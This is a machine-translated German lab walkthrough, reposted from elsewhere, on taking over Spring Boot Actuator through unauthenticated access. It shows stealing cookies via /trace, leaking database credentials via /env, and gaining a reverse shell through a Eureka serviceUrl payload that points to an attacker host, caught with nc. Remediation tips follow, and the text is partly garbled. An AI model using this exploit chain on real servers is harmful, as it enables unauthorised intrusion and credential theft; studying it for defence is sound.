Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Beispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell

Beispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell

WBOY
WBOYnach vorne
2023-05-23 08:56:321999Durchsuche

Vorwort

Der Abteilungsleiter hat diese Schwachstelle in einem bestimmten Quellcode ausgegraben, also habe ich eine lokale Umgebung eingerichtet aus.

Actuator ist ein von Springboot bereitgestelltes Funktionsmodul zur Introspektion und Überwachung von Anwendungssystemen. Mit Hilfe von Actuator können Entwickler auf einfache Weise Statistiken zu bestimmten Überwachungsindikatoren des Anwendungssystems anzeigen und sammeln. Wenn Actuator aktiviert ist und relevante Berechtigungen nicht kontrolliert werden, können illegale Benutzer durch Zugriff auf die Standard-Actor-Endpunkte Überwachungsinformationen im Anwendungssystem erhalten, was zu Informationslecks oder sogar zur Serverübernahme führt.

Actuator ist ein von Spring Boot bereitgestelltes Funktionsmodul, das zur Introspektion und Überwachung von Anwendungssystemen verwendet werden kann. Die bereitgestellten Executor-Endpunkte sind in zwei Kategorien unterteilt: native Endpunkte und benutzerdefinierte Erweiterungsendpunkte.

Spring Boot Actuator从未授权访问到getshell的示例分析Verwenden Sie Zuordnungen, um nicht autorisierte Schnittstellen zu finden.


    Verwenden Sie Trace, um Authentifizierungsinformationen (Cookie, Token, Sitzung) zu erhalten ) und verwenden Sie die Authentifizierungsinformationen, um auf die Schnittstelle zuzugreifen.

  1. env kann das Passwort des Datenbankkontos (mangodb) preisgeben. Natürlich muss das externe Netzwerk geöffnet sein, daher ist die Möglichkeit gering.

  2. Ausländer sagen, dass SQL-Anweisungen ausgeführt werden können, aber ich verstehe es noch nicht

  3. # 🎜🎜##🎜🎜 #Vulnerability Discovery

  4. Das von der aktuellen Webanwendung verwendete Framework wird normalerweise als Springboot-Framework bezeichnet. Es gibt zwei Hauptmethoden zur Beurteilung:


  5. über das Symbol der Webanwendungs-Webseitenbezeichnung (favicon.ico); wenn der Webanwendungsentwickler die Standardeinstellung nicht geändert hat Symbol der Springboot-Webanwendung. Nach dem Aufrufen der Anwendungshomepage sehen Sie das folgende grüne Standardsymbol:

#🎜🎜 #

#🎜 🎜#
Die Standardfehlerseite wird über das Springboot-Framework gemeldet. Wenn der Webanwendungsentwickler die Standardfehlerseiten 4xx und 5xx der Springboot-Webanwendung nicht ändert, wird eine 4xx- oder Wenn in der Webanwendung ein 5xx-Fehler auftritt, wird der folgende Fehler gemeldet (nur hier). Nehmen Sie die 404-Fehlerseite als Beispiel: Greifen Sie auf einen zufällig erstellten Pfad zu, z. B.: http://172.26.2.24:8090/index, und der Die folgende Fehlerseite wird angezeigt, die darauf hinweist, dass die Website das Springboot-Framework verwendet (die meisten in der Praxis auftretenden Situationen sind solche Situationen).


  1. Um die beiden oben genannten Methoden zu kombinieren, um festzustellen, ob die aktuelle Webanwendung ein Springboot-Framework ist, Das heißt, indem Sie auf „Überprüfen“ zugreifen, um zu sehen, ob in verschiedenen Verzeichnissen ein kleines grünes Blattsymbol vorhanden ist, und dann eine Möglichkeit finden, 4xx- oder 5xx-Fehler in der Anwendung in verschiedenen Verzeichnissen auszulösen, um zu sehen, ob ein Whitelabel-Fehlerseitenfehler vorliegt.
Exploit

Spring Boot Actuator从未授权访问到getshell的示例分析

Greifen Sie auf den /trace-Endpunkt zu, um grundlegende HTTP-Anforderungsverfolgungsinformationen (Zeitstempel, HTTP-Header usw.) zu erhalten Wenn Sie als angemeldeter Benutzer angemeldet sind, können Sie Cookies verwenden, um sich anzumelden.

  1. Greifen Sie auf den /env-Endpunkt zu, um alle Umgebungsattribute abzurufen. Da der Aktor Datenbankdienste wie Site-MySQL und Mangodb überwacht, kann MySQL manchmal abgerufen werden Durch Überwachungsinformationen und Informationen zur Mangodb-Datenbank ist der verursachte Schaden enorm, wenn die Datenbank zufällig im öffentlichen Netzwerk geöffnet ist Konfiguration verursacht RCE,# 🎜🎜#
  2. Voraussetzung: Eureka-Client <1.8.7 (meist in Spring Cloud Netflix zu sehen)

Zum Beispiel beim Testen des Front-End-JSON-Fehlerberichts und den Paketnamen preisgeben, verwenden Sie NetflixSpring Boot Actuator从未授权访问到getshell的示例分析# 🎜🎜#

Erfordert die folgenden zwei Pakete


spring-boot-starter-actuator (/ Aktualisierung (Aktualisierungskonfiguration erforderlich)

spring-cloud-starter-netflix-eureka-client (funktionale Abhängigkeit)

Wenn Sie Python3 zum Starten des Skripts verwenden, müssen Sie auf zwei achten Stellenweise ist einer die IP und der Port der empfangenden Shell und der andere der Start unseres Skript-Ports, Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析#🎜 🎜#

Nc lauscht an einem Port, um Rebound-Shells zu empfangen,

#🎜 🎜#Schreiben Sie die Konfiguration, greifen Sie auf den /env-Endpunkt zu, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Den Post-Inhalt ist (die IP ist die IP der Maschine, die vom Skript gestartet wurde):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

Dann besuchen Sie /refresh, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Die Post-Daten sind willkürlich,

Spring Boot Actuator从未授权访问到getshell的示例分析

Dann können wir in unserem NC-Fenster sehen, dass eine Granate erfolgreich zurückgeprallt ist.

Spring Boot Actuator从未授权访问到getshell的示例分析

Schwachstellenbehebung

Als Sicherheitshund können Sie nicht einfach die Spring-Boot-Starter-Sicherheitsabhängigkeit unter dem POM des Projekts einführen, das Zugriffskontokennwort konfigurieren. und starten Sie die Anwendung neu, um das Popup zu starten.


	org.springframework.bootspring-boot-starter-security

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析Um die Schnittstelle zu deaktivieren, können Sie sie wie folgt festlegen (z. B. die Env-Schnittstelle deaktivieren):

endpoints.env.enabled= falseSpring Boot Actuator从未授权访问到getshell的示例分析

Frage

Ausländer sagen, dass sie ausführen können SQL-Anweisungen und stellen fest, dass sie nicht ausgeführt werden können. Es ist nicht korrekt. Ich habe einen Screenshot davon gemacht und hoffe, dass jemand, der es erfolgreich implementiert hat, es teilen kann.


In der tatsächlichen Umgebung gibt es viele Probleme ohne Aktualisierung, was dazu führt, dass Befehle nicht ausgeführt werden können. Es gab noch keinen Durchbruch

Das obige ist der detaillierte Inhalt vonBeispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen